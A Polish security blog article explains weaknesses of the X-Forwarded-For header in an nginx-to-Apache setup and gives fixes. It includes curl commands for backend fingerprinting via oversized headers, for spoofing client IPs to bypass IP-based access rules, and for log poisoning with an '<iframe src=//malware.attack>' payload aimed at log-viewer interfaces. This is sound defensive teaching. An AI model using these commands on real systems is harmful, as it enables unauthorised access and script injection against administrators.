Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Nagłówek X-Forwarded-For – problemy bezpieczeństwa…

20 lutego 2017, 13:40 | Teksty | komentarzy 5

Nagłówek protokołu HTTP: X-Forwarded-For (XFF) pierwotnie został przedstawiony przez zespół developerów odpowiedzialnych za rozwijanie serwera Squid jako metoda identyfikacji oryginalnego adresu IP klienta łączącego się do serwera web poprzez inny serwer proxy lub load balancer. Bez użycia XFF lub innej, podobnej techniki, dowolne połączenie za pośrednictwem proxy, pozostawiłoby jedynie adres IP pochodzący z samego serwera proxy, zamieniając go w usługę anonimizującą klientów. Dzięki temu wykrywanie i zapobieganie nieautoryzowanym dostępom stałoby się znacznie trudniejsze niż w przypadku przekazywania informacji o adresie IP, z którego przyszło żądanie.

Przydatność X-Forwarded-For zależy od serwera proxy, który zgodnie z rzeczywistością powinien przekazać adres IP łączącego się z nim klienta. Z tego powodu serwery będące za serwerami proxy muszą wiedzieć, które z nich są „godne zaufania”. Niestety, czasami nawet i to nie wystarczy. Postaram się przedstawić, dlaczego nie powinniśmy na ślepo ufać wartościom pochodzącym z tego nagłówka.

Poniżej znajduje się przykładowa konfiguracja, na której będziemy przeprowadzać testy:

Rys. 1 Konfiguracja testowa

Rys. 1 Konfiguracja testowa

Układ jest dość popularny i spotykany w Internecie. Na froncie znajduje się serwer nginx pełniący rolę proxy / load balancera (zamiennikiem może być Haproxy lub Varnish) dla serwera Apache, który może obsługiwać dowolną aplikację w języku PHP. Równie dobrze znajdować się tutaj może czysta aplikacja nasłuchująca na dowolnym porcie. Konfiguracja serwera nginx przedstawia się następująco:

Rys.2 Konfiguracja ngnix

Rys. 2 Konfiguracja serwera nginx

W serwerze Apache, oprócz standardowych dyrektyw, również nie zostało wiele zmienione. Aktywowany został tylko moduł obsługujący nadpisanie adresu IP klienta, który będzie przekazywany przez nasze proxy:

Rys. 3 Konfiguracja serwera Apache

Rys. 3 Konfiguracja serwera Apache

Testy

1. Fingerprinting backendu i nie tylko

Załóżmy, że nasz serwer proxy skutecznie usuwa wszystkie nagłówki typu: Server, X-Powered-by, Via itp., starając się w ten sposób ukryć tożsamość swojego backendu.

W jaki sposób możemy wykorzystać nagłówek X-Forwarded-For do ujawnienia się „ukrytego” serwera? Musimy wywołać nieoczekiwany błąd. Najszybciej wykonamy to, przekraczając dopuszczalną wielkość nagłówka (bardzo wiele stron błędów typu 404, 403 jest personalizowanych, ale najrzadziej spotykane kody błędów najczęściej zostają w standardowej wersji):

curl -v -XGET --header 'X-Forwarded-For: %E2%82%AC%E2%82%AC%E2%82%AC%E2... ' http://ip.proxy.lub.domena

Znaki „%E2%82%AC%E2%82%AC%” (możemy tutaj zastosować dowolne inne wypełnienie np. „X”) powtarzałem tak długo, aż osiągnęły w przedstawionym wypadku równe 8159 bajtów. Przy tej długości, oprócz innych wartości nagłówka, nie przekroczyłem jeszcze 8K1, czyli limitu wielkości dla naszych serwerów (każdy serwer posiada swój własny limit – akurat te wersje Apache i nginx mają identyczny). Wykonując takie żądanie za pomocą programu curl, w logach naszych serwerów możemy zobaczyć:

Proxy:
202.205.111.1 - - [24/Oct/2016:20:31:51 +0200] "GET / HTTP/1.1" 200 0 "-" "curl/7.43.0"
Backend:
192.168.111.3 202.205.111.1 - - [24/Oct/2016:20:31:51 +0200] "GET / HTTP/1.0" 200 244 "-" "curl/7.43.0"

Adres: 202.205.111.1 jest adresem IP mojego klienta. Wystarczyło jednak dodać kolejny bajt (8160), aby zaobserwować ciekawe zjawisko:

Proxy:
202.205.111.1 - - [24/Oct/2016:20:33:31 +0200] "GET / HTTP/1.1" 400 389 "-" "curl/7.43.0"
Backend:
192.168.111.3 192.168.111.3 - - [24/Oct/2016:20:33:31 +0200] "GET / HTTP/1.0" 400 0 "-" "-"

< HTTP/1.1 400 Bad Request
< Server: nginx/1.10.0 (Ubuntu)
< Date: Mon, 24 Oct 2016 18:33:31 GMT
< Content-Type: text/html; charset=iso-8859-1
< Content-Length: 389
< Connection: keep-alive
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
Size of a request header field exceeds server limit.<br />
<pre>
X-Forwarded-For
</pre>
</p>
<hr>
<address>Apache/2.4.18 (Ubuntu) Server at 192.168.111.2 Port 80</address>
</body></html>

Serwer backendu sam zdradził nam swoją tożsamość, zaliczając wraz z proxy wspólny błąd 400. Warto również zainteresować się śladem – a raczej jego brakiem – w przypadku dziennika dla serwera Apache. Dwa razy występuje adres IP serwera proxy – brak jednoznacznej identyfikacji klienta. Gdyby na serwerze proxy, ze względów wydajnościowych, zostało wyłączone logowanie ruchu HTTP – tożsamość klienta powodującego błędy, pozostaje dla nas zagadką. W celu uniknięcia takiej sytuacji, wystarczy ustawić mniejszy limit2 wielkości nagłówków na serwerze proxy, aby żądanie powodujące błąd 400 w ogóle nie dotarło do drugiego serwera.

2. Zbyt szeroki zakres sieciowy

Moduł remoteip3 powoduje, że w przypadku formatu logów jesteśmy w stanie wykorzystać zmienną %a, aby logować adres IP klienta w dowolnej kolejności. Daje nam również możliwość wykorzystania wartości nagłówka z ustawienia RemoteIPHeader, do uwierzytelniania za pomocą metody Requireip. Nałóżmy na ścieżkę /var/www/html ograniczenia, dopuszczając jeden wybrany adres IP:

Rys. 4

Rys. 4 Konfiguracja serwera Apache – dopuszczenie jednego adresu IP

Jeśli dobrze przypatrzymy się początkowej konfiguracji serwera Apache (Rys. 3), zauważymy, że opcja RemoteIPInternalProxy została ustawiona na maskę sieciową /24, a nie konkretny adres lub adresy zaufanych serwerów proxy. W przypadku, gdyby doszło do przełamania zabezpieczeń sieci innym kanałem i atakujący przejąłby sąsiadujący serwer, którego adres sieciowy zawiera się w zakresie 192.168.111.1-254, to zyskuje on właśnie zaufany adres, który może podsunąć serwerowi Apache fałszywe adresy IP klienta w celu przedostania się do chronionego zasobu:

Rys. 2

Rys. 5. Konfiguracja serwera Apache – podstawienie fałszywych adresów IP.

Nie musimy nawet uruchamiać dedykowanego serwera proxy. Zwykły curl z nagłówkiem o odpowiedniej zawartości, powinien potwierdzić naszą teorię:

curl -v -XGET http://192.168.111.2 -H 'X-Forwarded-For: 202.205.111.5'
* Rebuilt URL to: http://192.168.111.2/
*   Trying 192.168.111.2...
* Connected to 192.168.111.2 (192.168.111.2) port 80 (#0)
> GET / HTTP/1.1
> Host: 192.168.111.2
> User-Agent: curl/7.43.0
> Accept: */*
> X-Forwarded-For: 202.205.111.5
>
< HTTP/1.1 200 OK
< Date: Thu, 27 Oct 2016 17:08:55 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Last-Modified: Sun, 23 Oct 2016 21:46:07 GMT
< ETag: "0-53f8f33e3eb56"
< Accept-Ranges: bytes
< Content-Length: 0
< Content-Type: text/html
<
* Connection #0 to host 192.168.111.2 left intact

Wskazując zaufane proxy, zawsze powinniśmy definiować ich konkretne adresy bez pozostawiania marginesu na przewidywanie, że w przyszłości może się coś się zmieni, więc już lepiej to uwzględnić w konfiguracji.

3. Spoofing i zatruwanie parserów logów

Zbadajmy jeszcze dokładnie konfigurację serwera nginx, a dokładniej mówiąc opcję: $proxy_add_x_forwarded_for. Zgodnie z dokumentacją, jeśli serwer proxy otrzyma od klienta w żądaniu nagłówek X-Forwarded-For z wcześniej zdefiniowaną wartością, to do serwera backend zostanie przekazana wartość nagłówka klienta plus to, co doda serwer proxy – czyli adres ip klienta (tutaj wartość $remote_addr). Zatem – jeśli klient prześle wartość X, proxy doda Y, backend otrzyma obydwie wartości oddzielone przecinkiem: X-Forwarded-For: X, Y. W przypadku, gdyby żądanie przechodziło przez dwa serwery proxy, postać nagłówka będzie miała postać: X-Forwarded-For: klient, proxy1, proxy2, gdzie proxy2 jest traktowane jako zdalny adres żądania. Konfiguracja ta jest błędna z jednego prostego powodu. Nasze proxy jest pierwsze na styku z Internetem, więc nie ma żadnej potrzeby, abyśmy doklejali wartości zdefiniowane przez użytkownika lub inne serwery proxy.

Czym to grozi? Po pierwsze: kto powiedział, że klient musi przesyłać adres IP? Załóżmy, że nasz serwer w backendzie jest prostą aplikacją, bez modułu typu remoteip (czyli przyjmuje i loguje surowe dane, w tym wartości nagłówka XFF), lub administrator konfigurujący serwer Apache – nie będąc tego świadomy, po prostu ustawił format logów według wzoru:

LogFormat "%{X-Forwarded-For}i %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined

Logi są zazwyczaj są archiwizowane, a przed tym – analizowane przez różne systemy statystyczne. Większość z nich posiada interfejsy webowe, które prezentują użytkownikowi wyniki. Jeśli więc atakujący wyśle do naszego proxy żądanie typu:

curl -v -XGET --header 'X-Forwarded-For: <iframe src=//malware.attack> ' http://ip.proxy.lub.domena

Pojawi się ono w pliku access_log, jako:

<iframe src=//malware.attack>, 202.205.111.1 - - [27/Oct/2016:21:57:11 +0200] "GET / HTTP/1.0" 403 468 "-" "curl/7.43.0"

Jeżeli system do analizy logów nie będzie poprawnie weryfikował i filtrował niebezpiecznych danych, to użytkownik wraz z odczytaniem raportu załaduje sobie w ramce4 szkodliwe oprogramowanie. To samo tyczy się obchodzenia uwierzytelniania: operując tylko na czystej wartości tego nagłówka, czy to w serwerach WWW5 czy aplikacjach internetowych6. Klient docierający do serwera backend z własną listą adresów IP, która brana jest pod uwagę w procesie autoryzacji, bez problemu może sfałszować i oszukać ten proces. Naprawą tego błędu jest zastąpienie $proxy_add_x_forwarded_for przez $remote_addr, co spowoduje, że nasze proxy będzie przekazywało tylko i wyłącznie adres IP klienta, nie zwracając uwagi na poprzednie wartości.

Podsumowanie

Nagłówek X-Forwarded-For został zaprojektowany, aby identyfikować klientów komunikujących się z serwerami umieszczonymi za proxy. Skoro serwery proxy są „oczami” takich serwerów, nie powinny pozwalać na zakrzywione postrzeganie rzeczywistości. Klient nie powinien decydować, co powinno być zawarte w tym nagłówku, a chroniony serwer nie powinien ślepo ufać tej zawartości. Maszyny pośredniczące muszą każdorazowo sprawdzać istnienie takiego nagłówka i usuwać oraz tworzyć lub nadpisywać jego zawartość własnymi regułami przed przekazaniem żądania dalej. Jeśli musimy wprowadzić mechanizm kontroli dostępu oparty o adresy IP, postarajmy się, aby został on umieszczony bezpośrednio na linii styku z klientem.

Więcej informacji:

phpBB do 2.0.8a Header Handler X-Forwarded-For spoofing

Proxies & IP Spoofing

X-Forwarded-For, proxies, and IPS

Przypisy:

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Fajny artykuł. Długo zastanawiałem się, na czym polega trudność wykorzystania X-Frowarded-For. To wcale nie jest trywialne.

    Odpowiedz
  2. bbb

    Do ukrycia IP w Apache wystarczy:
    ServerSignature Off
    ServerTokens Prod

    Odpowiedz
    • Michał

      Do ukrycia apache powyższe nie wystarczy. Warto ustawić jeszcze poniższe, które całkowicie go ukryją:

      Header unset Server
      Header unset X-Powered-By

      Odpowiedz
    • Michał

      Poprawna wersja:
      <IfModule mod_headers.c>
      Header unset Server
      Header unset X-Powered-By
      </IfModule>

      Odpowiedz
  3. asdf

    Super atrykuł, wielkie dzięki.!

    Odpowiedz

Odpowiedz